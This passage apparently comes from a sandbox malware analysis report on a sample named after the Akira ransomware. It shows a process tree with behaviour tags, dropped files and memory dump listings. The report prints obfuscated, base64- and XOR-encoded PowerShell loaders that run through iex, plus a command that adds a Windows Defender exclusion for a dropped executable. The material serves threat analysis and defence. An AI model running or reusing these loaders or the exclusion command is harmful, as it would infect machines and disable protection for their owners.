AWABJAFIANABHAE4AeQBVAEcATgBDAFEAVABDAGcASQByAEwAZwA4AHQARwBqAFkAUgBIAHcAawBFAEEAUQBnAEIATABnADgAdABIAGgAcwBiAEgAdwBrAGkARABTAE0AcwBPAFIAcwBHAEcAagBZAEMARABCAEkAQQBBAFEAcwBLAEwAUgBFAEcAYQB6AG8ARwBIAHcASQAyAEwAUQBnAEIATABnADgAdABHAGoAWQBSAEgAdwBrAEUAQQBRAGcAQgBMAGcAOAB0AEcAagBZAFIASAB3AGsAWABFAFMASQB2AFYAZwBJACsAQQBUAGsATQBBAHkAUQBUAEUAeQBNAHYAQQB4ADAAKwBJAEQAWgBQAEgAdwBrAFgAQwB4AGcAVgBGAHgASQArAEMAQgBnAFIASAB3AGsARQBBAFEAZwBCAEwAZwA4AHQARwBqAFkAUgBIAHcAawBIAFgAdwBnAEYATwBSAHMASABhAHkASQBSAE0AegAwAHEAQQBRAGcAQgBMAGcAOAB0AEcAagBZAFIASAB3AGsARQBBAFEAZwBCAEwAZwA4AHQARwBqAFkAUgBBADMAawBYAEQAaQBJAHMAUABoAHcAeABhAHcAOABhAEQAQgBJAEUAQQBRADAAVQBJAFEAUQA5AGEAMAA0AEQARABBAEkASQBBAFEAdwBXAEwAaQBNAHQARwBqAFkAUgBIAHcAawBFAEEAUQBnAEIATABnADgAdABHAGoAWQBSAE0AQgBzAHEAQQBRAGcAQgBMAGcAOAB0AEcAagBZAFIASAB3AEoAMQBBAFIAaAB3AEsAVgBnADkAYQB4AEEAUgBNAHoAMABxAEEAUQBnAEIATABnADgAdABHAGoAWQBSAEgAdwBrAEUAQQBRAGcAQgBMAGcATQBIAEUAVAAwAEEARAAzAGcAVABIAEMASgB6AEoAVgBrAEcATgBFAEkARwBOAEMAYwBtAEEAUgBFAFIATABnAE0AKwBOAEQARQBGAE4AWABnAFEATABRAGcAQgBMAGcAOAB0AEcAagBZAFIASAB3AGsASABYAHcASQByAEwAZwA4AHQARwBqAFYAUABGAFMATQBFAEEAUQBnAEIATABpAE0AdABHAGoAWQBSAEgAdwBrAEkAQQBSAEIAdwBGAHcAUQA5AEQAawBKAEgATgBRAGsASABWAFMAQQBGAE8AUgAwAHQARQBUAFUAUABOAEgAZwBMAEMAaQBKAHgASQBnADgARgBBAFQAbwBSAE4AQwBkADkAQQBTAE0ARgBWAGgAMAArAGEAeQBFAFAASAB3AEkAUABWAHkATQB2AFcAaABnAEcATgBCAFEAOQBIAHcAawBFAEEAUQBnAEIAUABSAHcAOQBBAFIAOAAwAE0AZwBJAFgAQwBpAE0AYQBMAFYAZwBIAEkARABaAFAASAB3ADQAQQBFAFEASQByAEwAZwA4AHQARwBqAFUAYgBOAEgAawBNAEEAUQBvAEIAUABSAGcAdABIAFUAYwBSAEcAeAA0ADIAQQBRAHMARgBCAEEAOABvAEQAZwA4AGEASAB3AGsAWABFAGgAZwBhAEIAeQBvAEEARQBTAFUAYQBOAEIASQBIAFYAaQBJADQASABBADgAdQBIAGgAdwBFAEgAVABNAHUAQQBTAFEAMQBBAEEAOAB0AEcAagBZAFIASAB3AGsARQBBAFEAZwBGAEEAdwBVAHQARwBoADgAagBEAEIASQBMAFYAZwAwAFUATABRAEEAQQBIAGgAQQBSAEgAQQAwAGYAVgB5AE0ARgBGAHoAawA5AEEAUwBVAFoASABSAGsASABVAFEASQByAEwAZwA4AHQARwBqAFkAUgBIAHcAawBFAEEAUQBnAEIATABnADgAdABFAFMAVQBQAE0AeABrAEgAVQBRAEkAcgBMAGcAOAB0AEcAagBZAFIASAB3AGsARQBBAFEAZwBCAEwAZwA4AHQARwBqAFkAUgBIAHcAawBIAE4AUgBzAFYAWABoADQAQQBOAEMASQBDAEIAUgBJAFgAQwBpAE0AUgBMAGgAdwB4AEgAagBGAEcATgB3AGsARQBEAFIAcwBzAE8AUgBzAEcASAB6AFUAZQBNAGcAMABpAEEAUQAwAFgATgBSADQASABOAEQAawBhAEgAdwBsADAASQBDAEkAcwBKAFIANABIAE0AagBFAGMATQBnADAAcABFAEMATQByAEwAVAB3AEEASABrADQAQgBGAFMATQBFAEEAUQBnAEIATABnADgAdABHAGoAWQBSAEgAdwBrAEUAQQBRAGcAQgBMAGcAOAB0AEcAagBVAGYATgBTAGMAVABEAGkAQQAxAEEAQQA4AHQARwBqAFkAUgBIAHcAawBFAEEAUQBnAEIATABnADgAdABHAGoAVgBQAEgAdwAwAEwARABpAFUARgBJAFEAYwB0AEUAUQBRADkASAB3AGsARQBBAFEAZwBCAEwAZwA4AHQARwBqAFkAUgBIAHcAawBFAEEAUQBnAEIATABnADgAdABIAHoAbABHAEQAeABJAFAAVgBnADAAVQBJAFIAcwArAEQAaQBFAEIASAB3AGwAMABNAGgAcwBWAEkAUgA0AEcATgBDAFUATQBIAHcANABNAEwAUQBnAEIATABnADgAdABHAGoAWQBSAEgAdwBrAEUAQQBRAGcAQgBMAGcAOABDAEMAQgBnAFIASAB3AGsARQBBAFEAZwBCAEwAZwA4AHQARQBVAGMAUgBEAEIAMAA5AEgAQgBzAFIATABWADgAbgBNAEQAWQBSAEgAdwBrAEUAQQBRAGcAQgBMAGcAOAB0AEcAagBZAFIASAB3ADAAUABIAHgAcwBWAEsAUgBvAG4ATQBEAFkAUgBIAHcAawBFAEEAUQBnAEIATABnADgAQwBDAEIAZwBSAEgAdwBrAEUAQQBTAGMAVABBAEEAOAB0AEcAagBZAFIARgBTAE0ARQBBAFEAZwBCAEwAZwBJAHQASAB5AFUAUABNAHgAawBIAFYAaQBNADcATABRAE0AKwBEAGcAOABhAE0AZwAwAFEAQQBTAFUARgBCAHcAUQB0AEgAaQBVAEcATgBTAGMAVABEAEMAVQBGAFYAaABFAEIAQwBCAGcAUgBIAHcAawBFAEEAUwBBAFYATgBnADgAdgBIAHkAVQBhAE4AWABrAFUARQBoAFEARgBLAFYAZwBGAEcAagBZAGQATQBnADAAVABFAGkASQBIAFAAUgBnAEgATQBCAHcAUgBNAHoAMABxAEEAUQBnAEIATABnADgAdABHAGoAWQBSAEgAdwBJAFgASAB5AFEAUgBMAFYAOABuAE0ARABZAFIASAB3AGsARQBBAFEAZwBCAEwAZwA4AHQARwBqAFkAUgBIAHcAdwBQAEMAaQBNAFYAVgBsAG8AKwBDAGsAWQA4AE0AZwAwAFQARQBnAGcAQgBYAGoAawA5AEEAUwBVAFoASAB3AGsAWABWAGgAcwBWAFgAaAA4ADIASABoAHMAUABIAHcAbAAwAEkAUwBOAHgASgBRAEkAKwBDAGoAWQBDAEEAeQBjAFQARABDAFUAYQBKAFIASQArAEMAagBZAEMAQgBCAEkAUABIAHkATgB4AEoAUwBvADkAYQBpAFUARwBOAEgAaAB4AEEAUgBSAHcAQQB4AHMAKwBEAGsASgBHAE4AQQBJAHAASQBpAE4AdwBXAGwAZwBGAEQAawBKAEgARABCAHMAcQBBAFEAZwBCAEwAZwA4AHQARwBqAFkAUgBIAHcASgAxAEEAUgBoAHcASwBWAGcAOQBhAHgAQQBSAE0AegAwAHEAQQBRAGcAQgBMAGcAOAB0AEcAagBZAFIASAB3AGsARQBBAFEAZwBCAEwAZwBJAHQASAB6AGsARwBOAEEAMABUAEUAeQBVAEYARgAxADAAdABIAGoAawBBAE4AQwBRAFgARgBpAE0AcwBPAFEAUQB0AEgAaABzAGIASAB3ADAAWABGAGkASQB2AE8AUQBJAEEASABrADQAUABNAHgAawBIAEQAUgBzAFYARgB3AFEAQQBIAGgAcwBBAE4AQwBNAEgAQwB4AGcAVgBBAHgAcwBIAEwAaABnAFIASAB3AGsARQBBAFEAZwBCAEwAZwA4AHQARQBVAGMAOQBIAHcAawBFAEEAUQBnAEsAWAB5AE0AQwBDAGoAWQBDAEIAeABJAFAAQwBDAFUAVgBYAGcAUQBHAE4AeQBVADcATgB4AEkATABWAGcAZwBCAFAAUgA4AEgATgBFADQAYwBEAEIASQBMAEgAQgBJAFYAUABoAHMAdABHAGkAVQBiAE0AaAAwADkARgBSAFEARgBLAFYAZwBGAEcAZwBBAFIASABBAEkAWABDAGkATQBhAEwAUwAwAEYAQQBUADQAUgBNAEEAawBIAE4AaQBVAGEAUABoAHcAdwBOAHkARQBGAE4AQQBzAHEATABRAGcANwBMAFQANABIAGEAeQBJAFIAQQBIAGsAUABGAGkAVQBGAE8AaAB3ADMASABrADQATQBNAGcAawBIAEYAaQBNAHMASQBWAGcAKwBEAGoARQBkAEgAdwAxADgAQwB3AGcARQBDAHgARQBGAEEAUwBVAGEARwBoADkAOABWAHkAVQBLAEwAVgBrAEEARwBqAFUAYgBOAEgAawBNAEEAUwBNAFYAVgBoAEUAKwBDAGoAVQBjAE4ASABoADAARQBSAGcAYQBQAFIAZwA5AE4AQgBzAEYATgB4AEkAWABVAHcASQB1AEMAeABFAEYAQQBTAFUAYQBHAGgAOAB0AEUAQwBKAHgAUABnADgAdABNAGkAMABHAE4AQQAwAFEAQQBTAEoAeABQAFIANABIAE4AQwBFAGQASAB3ADAARABWAGcANAByAEwAZwBNACsATgB5AEUARgBOAEEAdwBIAEQAaQBVAEYAQwBBAEUAbgBOAFIATQBQAE4AeABJAFgAQwBnADAAWABCAHgANABIAGEAaQBZAFIASAB5AFkASABIAHkATgB3AEkAUQBRAEgAYQBqAG8AUgBOAFgAawBYAEQAaQBJAHMAUABRAFEAKwBHAGoAVgBGAE4AeABJAFgAQwBRAGcASABBAHkAMAByAE0ARABZAGQATgBRAEkAUABFAEIAaAB3AE8AUgBJAEgAYQBSAHMAZABIAHkAMABxAFcAdwA9AD0AJwA7ACQAYgB0AGQAeQBmAHUAbgBoAD0AJwBWAEoARQBmAEEAQgBvAGgAZABZAHcAdgAnADsAJABkAGYAcQBuAHUAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbQBkAG0AcABzACkAOwAkAHEAYgBzAGwAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABbAGIAeQB0AGUAWwBdAF0AQAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABkAGYAcQBuAHUALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAZABmAHEAbgB1AFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAYgB0AGQAeQBmAHUAbgBoAFsAJABpACUAJABiAHQAZAB5AGYAdQBuAGgALgBMAGUAbgBnAHQAaABdAH0AKQApACkAKQA7ACAAaQBlAHgAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABxAGIAcwBsACkAKQApAA==
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:924
      • C:\Program Files\Windows Defender\MpCmdRun.exe
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -Path C:\Users\Admin\AppData\Local\Update\rXI5Ev0C\spoolmgr.exe
        3⤵
          PID:1664
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:1892
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime.ToString('yyyyMMddHHmmss')"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:6032
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:5560
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:2844
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:1352
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:1956
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:5628
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:4584
      • C:\Windows\system32\tasklist.exe
        "tasklist" /NH /FO CSV
        2⤵
        • Enumerates processes with tasklist
        PID:1504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -EncodedCommand JABiAGcAbAB4AHQAdQA9ACcASgBRAFEANgBNAG0AWQBRAFYAQgBRAHgAVwBtAGMAZABEAHgAWQBIAE8AVQBrAFEAVgBEAEEAdwBCAEEAOABRAEgAZwBzAHQATAAyAFEAUQBWAEMAYwB3AEIAMwB3AE0ASgB6AGcAbABQADAAawBVAEMAUgBjAHgAQQBIAFEAdQBKAFEAUQBiAE8AVQA4ADkATgB4AEkAMgBQAEgAZwBNAEoAagAwAHgASgBVADgAOQBNAHcAMABhAEsAZwBjAHcASABoAEEAaQBPAG4AcABpAEsAMQBRAHcAVwBtAFEAVwBKAGcAQgBXAEUAVQA5AGgAVQBGAE0ASgBNAFgAeABLAEgAQQBjAE0AWQAzAHMAVQBYAEMAcwB4AEIAMgBjAEEAQwBUAG8ARQBPAG0AWQBXAEEAUQAwADMASwBnAGMAKwBKAG0ARgBXAFoAWABjAEUAVQBGAEUAYQBLAG4AdwArAEMAegA4AGIATgBuAHMATABLAHcAMAB3AEIAMwBnAFoASABCAFkAbABQAGsAOABFAEMAUgBRAEwATAAwADQANABKAHgAcwBoAEUASABRAEwATgB3AGsATABMADAANAAzAEoAbQBFAHQAUABVADgAVgBIAFEASQBGAEwAbQBBAE8ASgB4AFUAYgBOAG0AQQA1AEoAQgBnAGQAQQBBAFkATgBDAGkAcABUAEwAVwBBAEYAWABWAEkASgBMAFYAMQBKAEMAbQBFADYAWgBuAFEAcABKAEIAZwBKAEEAMwB3AFgAQwB3AGMANgBaAG4AYwA1AEMAUQBvAEsAUABuAHcAVABIAFcARQBwAFAAMgBNADUARABRAGcAZQBFADEARgBKAEMAUQBWAGEAUABVAHgAaABDAFIAZwBLAE8AZwBNAFcASQBSAFEAMgBZADMAawBwAEsARgBBAGUAVwBXAEEAbwBFAFcASQBBAFkARwBRADYASgBCAFUARwBXAG0AUQBEAEgAZwBRAGwASQBXAFEAVwBYAFIAcwBkAFAAWABnADgARQBRAFUAdABEAFcASQBBAEoAQgBVAEIAUABnAE0AUQBKAG0ARQB4AEoAVQA4ACsAQgBnAFkAQwBCADEAcABLAEgAZwBBAGgAYgBXAFEAVwBQAHgAYwB3AEEAbQBBAFMASABXAEUARQBJAFgAbABoAEwAeABBAEoAUABuAGgASwBEAFIAcwBRAE0AbQBjAFYAWABRAFkAZgBQAG4AeABPAEoAbQBBAHEATQBtAEEASABKAEIAcwBhAEkAUQBZAGQASQBoAEEAaABFAGsAOQBnAEwAeQBjAEsAUABuAGcAVgBDAEEAWgBhAFAARQB3ACsATQB3AHMAMwBLAG4AUgBOAEUAMgBFAHQATwBuAFEATABMAHcAVQBaAEwAdwA5AEQARAB3AEEAaQBJAFUAdwArAFgAQgBFAHgAQQBIAGMAVQBEAGkAbwBJAEoAVwBZAEEARABoAEUAMgBXAEgAaABLAEgAUQBzAHAAWgBXAEUARgBKAHgAZwB4AFcAMwBnAFcASgAyAEEAdQBNAG0AUQA0AEsARgBjAEwATAAwADQAcwBKADIARQAxAEwARQA1AGkASABRAEkAQwBQAG0AUQBPAEoAUQBSAFcATgBuAFUAVwBJAHgAWQB3AEwARwBRAFMASQBCAFEAbABOAG4AVQBXAEgAUgBjAEsAVwAzAEEASgBIAEIAVQBiAEEASABjAEUAVgBCAFkATABMADAARQBEAEMAUgBjAHEAWgAyAEUASABKAEYASQBmAFAAWABNAEMASABDAGsASABQAG0ASQBIAEIAbABJAEoAQQAxAEkAUQBDAFIAYwBwAE8ARwBBACsAUABGAFEAZABBADEASQBYAEMAdwBRAHgAUABYAFEAKwBMAHcAcwBLAEIASAB0AEkAQwB4AFEAcQBMADIASQBYAEIAaABrAEwAVwAzAEEASQBKAFEAcwBwAFAAVwBFACsATQAxAFUASgBPAG4AOABkAEMAQQBVAEgASgBVADgAKwBOAHgAYwAzAFcASABoAEsASQBRAFEAYgBPAFcAUQBXAEQAUgBFAEoATABtAFEAVwBKAGoAMQBUAGEAQQA9AD0AJwA7ACQAYgBtAHEAbABvAGEAcQA9ACcARABTAGMAVQAtAFMAZQBhAFMAaQA2AHoAJwA7ACQAaAB1AGkAeQBwAHQAZABnAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAZwBsAHgAdAB1ACkAOwAkAG8AbwB1AG8AYQB6AHkAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAaAB1AGkAeQBwAHQAZABnAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGgAdQBpAHkAcAB0AGQAZwBbACQAaQBdAC0AYgB4AG8AcgBbAGIAeQB0AGUAXQAkAGIAbQBxAGwAbwBhAHEAWwAkAGkAJQAkAGIAbQBxAGwAbwBhAHEALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwBvAHUAbwBhAHoAeQApACkAfABpAGUAeAA=
      1⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      PID:3460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -EncodedCommand JABiAGcAbAB4AHQAdQA9ACcASgBRAFEANgBNAG0AWQBRAFYAQgBRAHgAVwBtAGMAZABEAHgAWQBIAE8AVQBrAFEAVgBEAEEAdwBCAEEAOABRAEgAZwBzAHQATAAyAFEAUQBWAEMAYwB3AEIAMwB3AE0ASgB6AGcAbABQADAAawBVAEMAUgBjAHgAQQBIAFEAdQBKAFEAUQBiAE8AVQA4ADkATgB4AEkAMgBQAEgAZwBNAEoAagAwAHgASgBVADgAOQBNAHcAMABhAEsAZwBjAHcASABoAEEAaQBPAG4AcABpAEsAMQBRAHcAVwBtAFEAVwBKAGcAQgBXAEUAVQA5AGgAVQBGAE0ASgBNAFgAeABLAEgAQQBjAE0AWQAzAHMAVQBYAEMAcwB4AEIAMgBjAEEAQwBUAG8ARQBPAG0AWQBXAEEAUQAwADMASwBnAGMAKwBKAG0ARgBXAFoAWABjAEUAVQBGAEUAYQBLAG4AdwArAEMAegA4AGIATgBuAHMATABLAHcAMAB3AEIAMwBnAFoASABCAFkAbABQAGsAOABFAEMAUgBRAEwATAAwADQANABKAHgAcwBoAEUASABRAEwATgB3AGsATABMADAANAAzAEoAbQBFAHQAUABVADgAVgBIAFEASQBGAEwAbQBBAE8ASgB4AFUAYgBOAG0AQQA1AEoAQgBnAGQAQQBBAFkATgBDAGkAcABUAEwAVwBBAEYAWABWAEkASgBMAFYAMQBKAEMAbQBFADYAWgBuAFEAcABKAEIAZwBKAEEAMwB3AFgAQwB3AGMANgBaAG4AYwA1AEMAUQBvAEsAUABuAHcAVABIAFcARQBwAFAAMgBNADUARABRAGcAZQBFADEARgBKAEMAUQBWAGEAUABVAHgAaABDAFIAZwBLAE8AZwBNAFcASQBSAFEAMgBZADMAawBwAEsARgBBAGUAVwBXAEEAbwBFAFcASQBBAFkARwBRADYASgBCAFUARwBXAG0AUQBEAEgAZwBRAGwASQBXAFEAVwBYAFIAcwBkAFAAWABnADgARQBRAFUAdABEAFcASQBBAEoAQgBVAEIAUABnAE0AUQBKAG0ARQB4AEoAVQA4ACsAQgBnAFkAQwBCADEAcABLAEgAZwBBAGgAYgBXAFEAVwBQAHgAYwB3AEEAbQBBAFMASABXAEUARQBJAFgAbABoAEwAeABBAEoAUABuAGgASwBEAFIAcwBRAE0AbQBjAFYAWABRAFkAZgBQAG4AeABPAEoAbQBBAHEATQBtAEEASABKAEIAcwBhAEkAUQBZAGQASQBoAEEAaABFAGsAOQBnAEwAeQBjAEsAUABuAGcAVgBDAEEAWgBhAFAARQB3ACsATQB3AHMAMwBLAG4AUgBOAEUAMgBFAHQATwBuAFEATABMAHcAVQBaAEwAdwA5AEQARAB3AEEAaQBJAFUAdwArAFgAQgBFAHgAQQBIAGMAVQBEAGkAbwBJAEoAVwBZAEEARABoAEUAMgBXAEgAaABLAEgAUQBzAHAAWgBXAEUARgBKAHgAZwB4AFcAMwBnAFcASgAyAEEAdQBNAG0AUQA0AEsARgBjAEwATAAwADQAcwBKADIARQAxAEwARQA1AGkASABRAEkAQwBQAG0AUQBPAEoAUQBSAFcATgBuAFUAVwBJAHgAWQB3AEwARwBRAFMASQBCAFEAbABOAG4AVQBXAEgAUgBjAEsAVwAzAEEASgBIAEIAVQBiAEEASABjAEUAVgBCAFkATABMADAARQBEAEMAUgBjAHEAWgAyAEUASABKAEYASQBmAFAAWABNAEMASABDAGsASABQAG0ASQBIAEIAbABJAEoAQQAxAEkAUQBDAFIAYwBwAE8ARwBBACsAUABGAFEAZABBADEASQBYAEMAdwBRAHgAUABYAFEAKwBMAHcAcwBLAEIASAB0AEkAQwB4AFEAcQBMADIASQBYAEIAaABrAEwAVwAzAEEASQBKAFEAcwBwAFAAVwBFACsATQAxAFUASgBPAG4AOABkAEMAQQBVAEgASgBVADgAKwBOAHgAYwAzAFcASABoAEsASQBRAFEAYgBPAFcAUQBXAEQAUgBFAEoATABtAFEAVwBKAGoAMQBUAGEAQQA9AD0AJwA7ACQAYgBtAHEAbABvAGEAcQA9ACcARABTAGMAVQAtAFMAZQBhAFMAaQA2AHoAJwA7ACQAaAB1AGkAeQBwAHQAZABnAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAZwBsAHgAdAB1ACkAOwAkAG8AbwB1AG8AYQB6AHkAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAaAB1AGkAeQBwAHQAZABnAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGgAdQBpAHkAcAB0AGQAZwBbACQAaQBdAC0AYgB4AG8AcgBbAGIAeQB0AGUAXQAkAGIAbQBxAGwAbwBhAHEAWwAkAGkAJQAkAGIAbQBxAGwAbwBhAHEALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwBvAHUAbwBhAHoAeQApACkAfABpAGUAeAA=
      1⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      PID:4772

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 dcf0b6b9ceae7e42f33fa311e6f2f7e9cddcbc2f7cc99020cd1225cb5255f1d7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 afb7265b189d763457cdf91eea5f37115bab600ec01d2bf3e3aa325948a44efc
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          2026-07-11_7d977f7c02f2f967f9dabbcbc68b3871_akira.exe:O353EQSW9
          • Path C:\Users\Admin\AppData\Local\Temp\2026-07-11_7d977f7c02f2f967f9dabbcbc68b3871_akira.exe:O353EQSW9
          • Size 4B
          • SHA256 58b1aaca404d0974d97e653dd678ea191e57b55c7aae12e36b4f43ff6efa7232
          • MD5 SHA1 SHA512
          Submit Download

          __PSScriptPolicyTest_mvtzmgv1.b04.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mvtzmgv1.b04.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d70ce91a41931e76afc246f227cfb2912fcdaeefeded6fdc47e0d0ec7e71179b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1000-60-0x000001E6DDA40000-0x000001E6DDA6A000-memory.dmp
          Download

          memory/1000-61-0x000001E6DDA40000-0x000001E6DDA64000-memory.dmp
          Download

          memory/2808-46-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-7-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-125-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-6-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-120-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-119-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-116-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-8-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-5-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-100-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-98-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-3-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-92-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-90-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-25-0x00007FF748000000-0x00007FF74849A000-memory.dmp
          Download

          memory/2808-86-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-77-0x00007FF748000000-0x00007FF74849A000-memory.dmp
          Download

          memory/2808-1-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-57-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-0-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-2-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-63-0x000002D71C410000-0x000002D71C423000-memory.dmp
          Download

          memory/2808-38-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-41-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-43-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-44-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-47-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-4-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-49-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-48-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-45-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-53-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-52-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-51-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-50-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-72-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-71-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

